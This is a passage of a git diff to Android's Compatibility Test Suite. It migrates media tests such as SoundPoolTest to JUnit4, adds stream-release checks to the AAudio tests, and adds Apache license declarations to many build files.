         AMediaCodecConfigure(
@@ -135,10 +157,14 @@
                 bitRate,
                 frameRate,
                 iFrameInterval ,
-                csdBufCopy,
+                csd0BufCopy,
+                csd1BufCopy,
                 flags,
                 lowLatency,
-                surface);
+                surface,
+                range,
+                standard,
+                transfer);
     }
 
     @Override
diff --git a/tests/tests/media/src/android/media/cts/SoundPoolTest.java b/tests/tests/media/src/android/media/cts/SoundPoolTest.java
index e4df4ac..c345816 100644
--- a/tests/tests/media/src/android/media/cts/SoundPoolTest.java
+++ b/tests/tests/media/src/android/media/cts/SoundPoolTest.java
@@ -16,26 +16,32 @@
 
 package android.media.cts;
 
-import android.media.cts.R;
-
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
 
 import android.content.Context;
 import android.content.res.AssetFileDescriptor;
 import android.media.AudioAttributes;
 import android.media.AudioManager;
 import android.media.SoundPool;
+import android.media.cts.R;
 import android.platform.test.annotations.AppModeFull;
-import android.test.AndroidTestCase;
-
+import androidx.test.InstrumentationRegistry;
 import java.io.File;
 import java.io.FileDescriptor;
 import java.io.FileOutputStream;
 import java.io.InputStream;
 import java.util.Arrays;
-import java.util.concurrent.atomic.AtomicInteger;
+import junitparams.JUnitParamsRunner;
+import junitparams.Parameters;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 @AppModeFull(reason = "TODO: evaluate and port to instant")
-abstract class SoundPoolTest extends AndroidTestCase {
+@RunWith(JUnitParamsRunner.class)
+abstract class SoundPoolTest {
 
     private static final int SOUNDPOOL_STREAMS = 4;
     private static final int PRIORITY = 1;
@@ -71,20 +77,22 @@
         return sounds;
     }
 
+    private static Context getContext() {
+        return InstrumentationRegistry.getInstrumentation().getTargetContext();
+    }
+
     protected AudioAttributes getAudioAttributes() {
         return new AudioAttributes.Builder()
                 .setLegacyStreamType(AudioManager.STREAM_MUSIC).build();
     }
 
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        mFile = new File(mContext.getFilesDir(), getFileName());
+    @Before
+    public void setUp() throws Exception {
+        mFile = new File(getContext().getFilesDir(), getFileName());
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
+    @After
+    public void tearDown() throws Exception {
         if (mFile.exists()) {
             mFile.delete();
         }
@@ -95,15 +103,16 @@
         }
     }
 
+    @Test
     public void testLoad() throws Exception {
         mSoundPool = new SoundPool.Builder().setMaxStreams(SOUNDPOOL_STREAMS)
                 .setAudioAttributes(getAudioAttributes()).build();
-        int sampleId1 = mSoundPool.load(mContext, getSoundA(), PRIORITY);
+        int sampleId1 = mSoundPool.load(getContext(), getSoundA(), PRIORITY);
         waitUntilLoaded(sampleId1);
         // should return true, but returns false
         mSoundPool.unload(sampleId1);
 
-        AssetFileDescriptor afd = mContext.getResources().openRawResourceFd(getSoundCs());
+        AssetFileDescriptor afd = getContext().getResources().openRawResourceFd(getSoundCs());
         int sampleId2;
         sampleId2 = mSoundPool.load(afd, PRIORITY);
         waitUntilLoaded(sampleId2);
@@ -129,7 +138,7 @@
         FileOutputStream fOutput = null;
         try {
             fOutput = new FileOutputStream(f);
-            InputStream is = mContext.getResources().openRawResource(getSoundA());
+            InputStream is = getContext().getResources().openRawResource(getSoundA());
             byte[] buffer = new byte[1024];
             int length = is.read(buffer);
             while (length != -1) {
@@ -144,8 +153,14 @@
         }
     }
 
-    public void testSoundPoolOp() throws Exception {
-        mSoundPool = new SoundPool.Builder().setMaxStreams(SOUNDPOOL_STREAMS)
+    /**
+     * Parameterized tests consider 1, 2, 4 streams in the SoundPool.
+     */
+
+    @Test
+    @Parameters({"1", "2", "4"})
+    public void testSoundPoolOp(int streamCount) throws Exception {
+        mSoundPool = new SoundPool.Builder().setMaxStreams(streamCount)
                 .setAudioAttributes(getAudioAttributes()).build();
         int sampleID = loadSampleSync(getSoundA(), PRIORITY);
 
@@ -187,8 +202,10 @@
         mSoundPool.unload(sampleID);
     }
 
-    public void testMultiSound() throws Exception {
-        mSoundPool = new SoundPool.Builder().setMaxStreams(SOUNDPOOL_STREAMS)
+    @Test
+    @Parameters({"1", "2", "4"})
+    public void testMultiSound(int streamCount) throws Exception {
+        mSoundPool = new SoundPool.Builder().setMaxStreams(streamCount)
                 .setAudioAttributes(getAudioAttributes()).build();
         int sampleID1 = loadSampleSync(getSoundA(), PRIORITY);
         int sampleID2 = loadSampleSync(getSoundCs(), PRIORITY);
@@ -217,8 +234,10 @@
         mSoundPool = null;
     }
 
-    public void testLoadMore() throws Exception {
-        mSoundPool = new SoundPool.Builder().setMaxStreams(SOUNDPOOL_STREAMS)
+    @Test
+    @Parameters({"1", "2", "4"})
+    public void testLoadMore(int streamCount) throws Exception {
+        mSoundPool = new SoundPool.Builder().setMaxStreams(streamCount)
                 .setAudioAttributes(getAudioAttributes()).build();
         int[] sounds = getSounds();
         int[] soundIds = new int[sounds.length];
@@ -241,6 +260,7 @@
         mSoundPool.release();
     }
 
+    @Test
     public void testAutoPauseResume() throws Exception {
         // The number of possible SoundPool streams simultaneously active is limited by
         // track resources. Generally this is no greater than 32, but the actual
@@ -283,7 +303,7 @@
             // initiate loading
             final int[] soundIds = new int[TEST_STREAMS];
             for (int i = 0; i < soundIds.length; i++) {
-                soundIds[i] = soundPool.load(mContext, sounds[i % sounds.length], PRIORITY);
+                soundIds[i] = soundPool.load(getContext(), sounds[i % sounds.length], PRIORITY);
             }
 
             // wait for all sounds to load,
@@ -346,7 +366,7 @@
      * @throws InterruptedException
      */
     private int loadSampleSync(int sampleId, int prio) throws InterruptedException {
-        int sample = mSoundPool.load(mContext, sampleId, prio);
+        int sample = mSoundPool.load(getContext(), sampleId, prio);
         waitUntilLoaded(sample);
         return sample;
     }
diff --git a/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java b/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
index 03f6839..a5f2471 100644
--- a/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
+++ b/tests/tests/media/src/android/media/cts/ThumbnailUtilsTest.java
@@ -22,6 +22,7 @@
 import android.annotation.ColorInt;
 import android.graphics.Bitmap;
 import android.graphics.Color;
+import static android.media.MediaFormat.MIMETYPE_VIDEO_HEVC;
 import android.media.ThumbnailUtils;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Size;
@@ -33,6 +34,8 @@
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
+import com.android.compatibility.common.util.MediaUtils;
+
 import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileOutputStream;
@@ -161,6 +164,11 @@
     @Test
     @Parameters(method = "getHEICSampleForCreateImageThumbnail")
     public void testCreateImageThumbnail_HEICSample(final String res) throws Exception {
+        if (!MediaUtils.hasDecoder(MIMETYPE_VIDEO_HEVC)) {
+            MediaUtils.skipTest("no video decoders for resource");
+            return;
+        }
+
         final File file = stageFile(res, new File(mDir, "cts.heic"));
         final Bitmap bitmap = ThumbnailUtils.createImageThumbnail(file, TEST_SIZES[0], null);
 
diff --git a/tests/tests/media/src/android/media/cts/WorkDir.java b/tests/tests/media/src/android/media/cts/WorkDir.java
index 60fd42f..e93bd19 100644
--- a/tests/tests/media/src/android/media/cts/WorkDir.java
+++ b/tests/tests/media/src/android/media/cts/WorkDir.java
@@ -38,7 +38,7 @@
         android.os.Bundle bundle = InstrumentationRegistry.getArguments();
         String mediaDirString = bundle.getString(MEDIA_PATH_INSTR_ARG_KEY);
         if (mediaDirString == null) {
-            return (getTopDirString() + "test/CtsMediaTestCases-1.2/");
+            return (getTopDirString() + "test/CtsMediaTestCases-1.4/");
         } else if (!mediaDirString.endsWith(File.separator)) {
             // user has specified the mediaDirString via instrumentation-arg
             return mediaDirString + File.separator;
diff --git a/tests/tests/mediaparser/Android.bp b/tests/tests/mediaparser/Android.bp
index d24d764..b159b06 100644
--- a/tests/tests/mediaparser/Android.bp
+++ b/tests/tests/mediaparser/Android.bp
@@ -12,26 +12,39 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsMediaParserTestCases",
-    defaults: ["cts_defaults"],
+    defaults: ["CtsMediaParserTestCasesDefaults", "cts_defaults"],
+    min_sdk_version: "29",
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts",
+    ],
+}
+
+// App for host-side testing of the MediaParser integration with MediaMetrics.
+android_test_helper_app {
+    name: "CtsMediaParserTestCasesApp",
+    defaults: ["CtsMediaParserTestCasesDefaults"],
+}
+
+java_defaults {
+    name: "CtsMediaParserTestCasesDefaults",
+    srcs: ["src/**/*.java"],
     static_libs: [
         "ctstestrunner-axt",
         "androidx.test.ext.junit",
         "exoplayer2-extractor-test-utils",
         "exoplayer2-extractor-tests-assets",
     ],
-    srcs: ["src/**/*.java"],
-    sdk_version: "test_current",
-    min_sdk_version: "29",
     libs: [
         "android.test.base",
         "android.test.runner",
     ],
-
-    test_suites: [
-        "cts",
-        "general-tests",
-        "mts",
-    ],
+    sdk_version: "test_current",
 }
diff --git a/tests/tests/mediaparser/TEST_MAPPING b/tests/tests/mediaparser/TEST_MAPPING
index ec2d2e2..3d21914 100644
--- a/tests/tests/mediaparser/TEST_MAPPING
+++ b/tests/tests/mediaparser/TEST_MAPPING
@@ -2,6 +2,9 @@
   "presubmit": [
     {
       "name": "CtsMediaParserTestCases"
+    },
+    {
+      "name": "CtsMediaParserHostTestCases"
     }
   ]
 }
diff --git a/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java b/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
index 40ddad9..145ac99 100644
--- a/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
+++ b/tests/tests/mediaparser/src/android/media/mediaparser/cts/MediaParserTest.java
@@ -673,42 +673,44 @@
             mediaParser.setParameter(entry.getKey(), entry.getValue());
         }
 
-        mediaParser.advance(inputReader);
-        if (expectedParserName != null) {
-            assertThat(expectedParserName).isEqualTo(mediaParser.getParserName());
-            // We are only checking that the extractor is the right one.
-            mediaParser.release();
-            return;
-        }
+        try {
+            mediaParser.advance(inputReader);
+            if (expectedParserName != null) {
+                assertThat(expectedParserName).isEqualTo(mediaParser.getParserName());
+                // We are only checking that the extractor is the right one.
+                return;
+            }
 
-        while (mediaParser.advance(inputReader)) {
-            // Do nothing.
-        }
+            while (mediaParser.advance(inputReader)) {
+                // Do nothing.
+            }
 
-        // If the SeekMap is seekable, test seeking in the stream.
-        MediaParser.SeekMap seekMap = outputConsumer.getSeekMap();
-        assertThat(seekMap).isNotNull();
-        if (seekMap.isSeekable()) {
-            long durationUs = seekMap.getDurationMicros();
-            for (int j = 0; j < 4; j++) {
-                outputConsumer.clearTrackOutputs();
-                long timeUs =
-                        durationUs == MediaParser.SeekMap.UNKNOWN_DURATION
-                                ? 0
-                                : (durationUs * j) / 3;
-                MediaParser.SeekPoint seekPoint = seekMap.getSeekPoints(timeUs).first;
-                inputReader.reset();
-                inputReader.setPosition((int) seekPoint.position);
-                mediaParser.seek(seekPoint);
-                while (mediaParser.advance(inputReader)) {
-                    // Do nothing.
-                }
-                if (durationUs == MediaParser.SeekMap.UNKNOWN_DURATION) {
-                    break;
+            // If the SeekMap is seekable, test seeking in the stream.
+            MediaParser.SeekMap seekMap = outputConsumer.getSeekMap();
+            assertThat(seekMap).isNotNull();
+            if (seekMap.isSeekable()) {
+                long durationUs = seekMap.getDurationMicros();
+                for (int j = 0; j < 4; j++) {
+                    outputConsumer.clearTrackOutputs();
+                    long timeUs =
+                            durationUs == MediaParser.SeekMap.UNKNOWN_DURATION
+                                    ? 0
+                                    : (durationUs * j) / 3;
+                    MediaParser.SeekPoint seekPoint = seekMap.getSeekPoints(timeUs).first;
+                    inputReader.reset();
+                    inputReader.setPosition((int) seekPoint.position);
+                    mediaParser.seek(seekPoint);
+                    while (mediaParser.advance(inputReader)) {
+                        // Do nothing.
+                    }
+                    if (durationUs == MediaParser.SeekMap.UNKNOWN_DURATION) {
+                        break;
+                    }
                 }
             }
+        } finally {
+            mediaParser.release();
         }
-        mediaParser.release();
     }
 
     private static MockMediaParserInputReader getInputReader(String assetPath) throws IOException {
diff --git a/tests/tests/mediastress/Android.bp b/tests/tests/mediastress/Android.bp
index fbf336b..9977c084 100644
--- a/tests/tests/mediastress/Android.bp
+++ b/tests/tests/mediastress/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsMediaStressTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/mediastress/jni/Android.bp b/tests/tests/mediastress/jni/Android.bp
index 192746e..400ddd82 100644
--- a/tests/tests/mediastress/jni/Android.bp
+++ b/tests/tests/mediastress/jni/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_library_shared {
     name: "libctsmediastress_jni",
     srcs: ["native-media-jni.cpp"],
diff --git a/tests/tests/mediastress/src/android/mediastress/cts/CodecTest.java b/tests/tests/mediastress/src/android/mediastress/cts/CodecTest.java
index 1b4ed62..b33259f 100644
--- a/tests/tests/mediastress/src/android/mediastress/cts/CodecTest.java
+++ b/tests/tests/mediastress/src/android/mediastress/cts/CodecTest.java
@@ -49,6 +49,7 @@
     private static final long PAUSE_WAIT_TIME = 3000;
     private static final long WAIT_TIME = 2000;
     private static final int SEEK_TIME = 10000;
+    private static final int PLAYBACK_SETTLE_TIME_MS = 5000;
 
     public static boolean mOnCompleteSuccess = false;
     public static boolean mPlaybackError = false;
@@ -802,7 +803,7 @@
             waittime = duration - mMediaPlayer.getCurrentPosition();
             synchronized(mOnCompletion) {
                 try {
-                    mOnCompletion.wait(waittime + 2000);
+                    mOnCompletion.wait(waittime + PLAYBACK_SETTLE_TIME_MS);
                 } catch (Exception e) {
                     Log.v(TAG, "playMediaSamples are interrupted");
                     return false;
diff --git a/tests/tests/midi/Android.bp b/tests/tests/midi/Android.bp
index fa9105e..b2e437f 100644
--- a/tests/tests/midi/Android.bp
+++ b/tests/tests/midi/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsMidiTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/mimemap/Android.bp b/tests/tests/mimemap/Android.bp
index 4306164..9622bd1 100644
--- a/tests/tests/mimemap/Android.bp
+++ b/tests/tests/mimemap/Android.bp
@@ -14,6 +14,10 @@
 
 // Verifies the default MIME mapping as exposed by
 // @CorePlatformApi libcore.content.type.MimeMap.getDefault()
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsMimeMapTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/mimemap/OWNERS b/tests/tests/mimemap/OWNERS
index 7f38126..213af28 100644
--- a/tests/tests/mimemap/OWNERS
+++ b/tests/tests/mimemap/OWNERS
@@ -1,4 +1,2 @@
 # Bug component: 24949
-include platform/libcore:/OWNERS
-jsharkey@android.com
-
+include platform/frameworks/base:/mime/OWNERS
diff --git a/tests/tests/multiuser/Android.bp b/tests/tests/multiuser/Android.bp
index 99adf1c..c930a43 100644
--- a/tests/tests/multiuser/Android.bp
+++ b/tests/tests/multiuser/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsMultiUserTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/nativehardware/Android.bp b/tests/tests/nativehardware/Android.bp
index d8f1e90..5f0120b 100644
--- a/tests/tests/nativehardware/Android.bp
+++ b/tests/tests/nativehardware/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsNativeHardwareTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/nativehardware/OWNERS b/tests/tests/nativehardware/OWNERS
index 8d7a421..c4777f0 100644
--- a/tests/tests/nativehardware/OWNERS
+++ b/tests/tests/nativehardware/OWNERS
@@ -1,2 +1,5 @@
 # Bug component: 24949
-krzysio@google.com
\ No newline at end of file
+chrisforbes@google.com
+jreck@google.com
+krzysio@google.com
+lpy@google.com
diff --git a/tests/tests/nativehardware/jni/Android.bp b/tests/tests/nativehardware/jni/Android.bp
index 16a1d0e..8ad2b05 100644
--- a/tests/tests/nativehardware/jni/Android.bp
+++ b/tests/tests/nativehardware/jni/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_library_shared {
     name: "libahardwarebuffertest",
     compile_multilib: "both",
diff --git a/tests/tests/nativemedia/aaudio/jni/Android.mk b/tests/tests/nativemedia/aaudio/jni/Android.mk
index 361245e7..2f11b9e 100644
--- a/tests/tests/nativemedia/aaudio/jni/Android.mk
+++ b/tests/tests/nativemedia/aaudio/jni/Android.mk
@@ -18,6 +18,8 @@
 
 include $(CLEAR_VARS)
 LOCAL_MODULE := libnativeaaudiotest
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MULTILIB := both
 
 LOCAL_SRC_FILES := \
diff --git a/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
index daf5d6c..b8ea502 100644
--- a/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
+++ b/tests/tests/nativemedia/aaudio/jni/test_aaudio.cpp
@@ -48,6 +48,53 @@
     const StreamBuilderHelper::Parameters& actual() const { return mHelper->actual(); }
     int32_t framesPerBurst() const { return mHelper->framesPerBurst(); }
 
+    // This checks for expected behavior after a stream has been released.
+    void checkCallsAfterRelease() {
+        // We expect these not to crash.
+        AAudioStream_setBufferSizeInFrames(stream(), 0);
+        AAudioStream_setBufferSizeInFrames(stream(), 99999999);
+
+        // We should NOT be able to start or change a stream after it has been released.
+        EXPECT_EQ(AAUDIO_ERROR_INVALID_STATE,
+                  AAudioStream_requestStart(stream()));
+        EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, AAudioStream_getState(stream()));
+        // Pause is only implemented for OUTPUT.
+        if (AAudioStream_getDirection(stream()) == AAUDIO_DIRECTION_OUTPUT) {
+            EXPECT_EQ(AAUDIO_ERROR_INVALID_STATE,
+                      AAudioStream_requestPause(stream()));
+        }
+        EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, AAudioStream_getState(stream()));
+        EXPECT_EQ(AAUDIO_ERROR_INVALID_STATE,
+                  AAudioStream_requestStop(stream()));
+        EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, AAudioStream_getState(stream()));
+
+        // Do these return positive integers?
+        // Frames read or written may be zero if the stream has not had time to advance.
+        EXPECT_GE(AAudioStream_getFramesRead(stream()), 0);
+        EXPECT_GE(AAudioStream_getFramesWritten(stream()), 0);
+        EXPECT_GT(AAudioStream_getFramesPerBurst(stream()), 0);
+        EXPECT_GE(AAudioStream_getXRunCount(stream()), 0);
+        EXPECT_GT(AAudioStream_getBufferCapacityInFrames(stream()), 0);
+        EXPECT_GT(AAudioStream_getBufferSizeInFrames(stream()), 0);
+
+        int64_t timestampFrames = 0;
+        int64_t timestampNanos = 0;
+        aaudio_result_t result = AAudioStream_getTimestamp(stream(), CLOCK_MONOTONIC,
+                                           &timestampFrames, &timestampNanos);
+        EXPECT_TRUE(result == AAUDIO_ERROR_INVALID_STATE
+                        || result == AAUDIO_ERROR_UNIMPLEMENTED
+                        || result == AAUDIO_OK
+                        );
+
+        // Verify Closing State. Does this crash?
+        aaudio_stream_state_t state = AAUDIO_STREAM_STATE_UNKNOWN;
+        EXPECT_EQ(AAUDIO_OK, AAudioStream_waitForStateChange(stream(),
+                                                             AAUDIO_STREAM_STATE_UNKNOWN,
+                                                             &state,
+                                                             500 * NANOS_PER_MILLISECOND));
+        EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, state);
+    }
+
     /**
      * @return buffer with correct size for the stream format.
      */
@@ -86,7 +133,7 @@
     bool mSetupSuccessful = false;
 
     std::unique_ptr<int16_t[]> mShortData;
-    std::unique_ptr<float[]>   mFloatData;
+    std::unique_ptr<float[]> mFloatData;
 };
 
 class AAudioInputStreamTest : public AAudioStreamTest<InputStreamBuilderHelper> {
@@ -206,6 +253,9 @@
       aaudio_stream_state_t state = AAudioStream_getState(stream());
       EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, state);
     }
+
+    checkCallsAfterRelease();
+
 }
 
 INSTANTIATE_TEST_CASE_P(SPM, AAudioInputStreamTest,
@@ -408,11 +458,16 @@
     if (!mSetupSuccessful) return;
 
     mHelper->startStream();
-    aaudio_result_t result = AAudioStream_write(
-            stream(), getDataBuffer(), framesPerBurst(),
-            DEFAULT_READ_TIMEOUT);
-    ASSERT_GT(result, 0);
+    // Write a few times so the device has time to read some of the data
+    // and maybe advance the framesRead.
+    for (int i = 0; i < 3; i++) {
+        aaudio_result_t result = AAudioStream_write(
+                stream(), getDataBuffer(), framesPerBurst(),
+                DEFAULT_READ_TIMEOUT);
+        ASSERT_GT(result, 0);
+    }
     mHelper->stopStream();
+    EXPECT_GE(AAudioStream_getFramesRead(stream()), 0);
 
     // It should be safe to release multiple times.
     for (int i = 0; i < 3; i++) {
@@ -420,6 +475,9 @@
       aaudio_stream_state_t state = AAudioStream_getState(stream());
       EXPECT_EQ(AAUDIO_STREAM_STATE_CLOSING, state);
     }
+
+    checkCallsAfterRelease();
+
 }
 
 // Note that the test for EXCLUSIVE sharing mode may fail gracefully if
diff --git a/tests/tests/nativemedia/mediametrics/Android.bp b/tests/tests/nativemedia/mediametrics/Android.bp
index 11be644..8bfb983 100644
--- a/tests/tests/nativemedia/mediametrics/Android.bp
+++ b/tests/tests/nativemedia/mediametrics/Android.bp
@@ -14,6 +14,10 @@
 
 // Build the unit tests.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "CtsNativeMediaMetricsTestCases",
 
diff --git a/tests/tests/nativemedia/sl/Android.mk b/tests/tests/nativemedia/sl/Android.mk
index 0844d0c..a3968a1 100644
--- a/tests/tests/nativemedia/sl/Android.mk
+++ b/tests/tests/nativemedia/sl/Android.mk
@@ -18,6 +18,8 @@
 
 include $(CLEAR_VARS)
 LOCAL_MODULE := CtsNativeMediaSlTestCases
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
diff --git a/tests/tests/nativemedia/xa/Android.mk b/tests/tests/nativemedia/xa/Android.mk
index c9dec22..8abfc7f 100644
--- a/tests/tests/nativemedia/xa/Android.mk
+++ b/tests/tests/nativemedia/xa/Android.mk
@@ -18,6 +18,8 @@
 
 include $(CLEAR_VARS)
 LOCAL_MODULE:= CtsNativeMediaXaTestCases
+LOCAL_LICENSE_KINDS:= SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS:= notice
 LOCAL_MODULE_PATH := $(TARGET_OUT_DATA)/nativetest
 LOCAL_MULTILIB := both
 LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
diff --git a/tests/tests/nativemidi/jni/Android.mk b/tests/tests/nativemidi/jni/Android.mk
index bb62dec..52f889b 100644
--- a/tests/tests/nativemidi/jni/Android.mk
+++ b/tests/tests/nativemidi/jni/Android.mk
@@ -18,6 +18,8 @@
 LOCAL_MODULE_TAGS := tests
 
 LOCAL_MODULE := libnativemidi_jni
+LOCAL_LICENSE_KINDS := SPDX-license-identifier-Apache-2.0
+LOCAL_LICENSE_CONDITIONS := notice
 LOCAL_MULTILIB := both
 
 LOCAL_SRC_FILES := native-lib.cpp
diff --git a/tests/tests/ndef/Android.bp b/tests/tests/ndef/Android.bp
index 8a58309..d5cf44c 100644
--- a/tests/tests/ndef/Android.bp
+++ b/tests/tests/ndef/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsNdefTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/netpermission/internetpermission/Android.bp b/tests/tests/netpermission/internetpermission/Android.bp
index 196c2bb..37ad7cb 100644
--- a/tests/tests/netpermission/internetpermission/Android.bp
+++ b/tests/tests/netpermission/internetpermission/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsNetTestCasesInternetPermission",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/netpermission/updatestatspermission/Android.bp b/tests/tests/netpermission/updatestatspermission/Android.bp
index bc4f4de..7a24886 100644
--- a/tests/tests/netpermission/updatestatspermission/Android.bp
+++ b/tests/tests/netpermission/updatestatspermission/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsNetTestCasesUpdateStatsPermission",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.bp b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.bp
index b6aa133..2d964fa 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.bp
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-false/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsNetSecPolicyUsesCleartextTrafficFalseTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.bp b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.bp
index 8386fec..7197699 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.bp
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-true/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsNetSecPolicyUsesCleartextTrafficTrueTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.bp b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.bp
index da1d9b9..68af3d0 100644
--- a/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.bp
+++ b/tests/tests/netsecpolicy/usescleartexttraffic-unspecified/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsNetSecPolicyUsesCleartextTrafficUnspecifiedTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/Android.bp b/tests/tests/networksecurityconfig/Android.bp
index deaa4b0..c22e16d 100644
--- a/tests/tests/networksecurityconfig/Android.bp
+++ b/tests/tests/networksecurityconfig/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library {
     name: "tests-tests-networksecurityconfig-lib",
     srcs: ["src/**/*.java"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.bp
index 356a02f..cccde10 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-attributes/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsNetSecConfigAttributeTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.bp
index 83c2d44..0672c5b 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-basic-domain/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "CtsNetSecConfigBasicDomainConfigTestCases",
     defaults: ["cts_defaults"],
diff --git a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.bp b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.bp
index a684e69..e8b5a4d 100644
--- a/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.bp
+++ b/tests/tests/networksecurityconfig/networksecurityconfig-cleartext-pre-P/Android.bp
@@ -13,6 +13,10 @@
 // limitations under the License.
 //
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
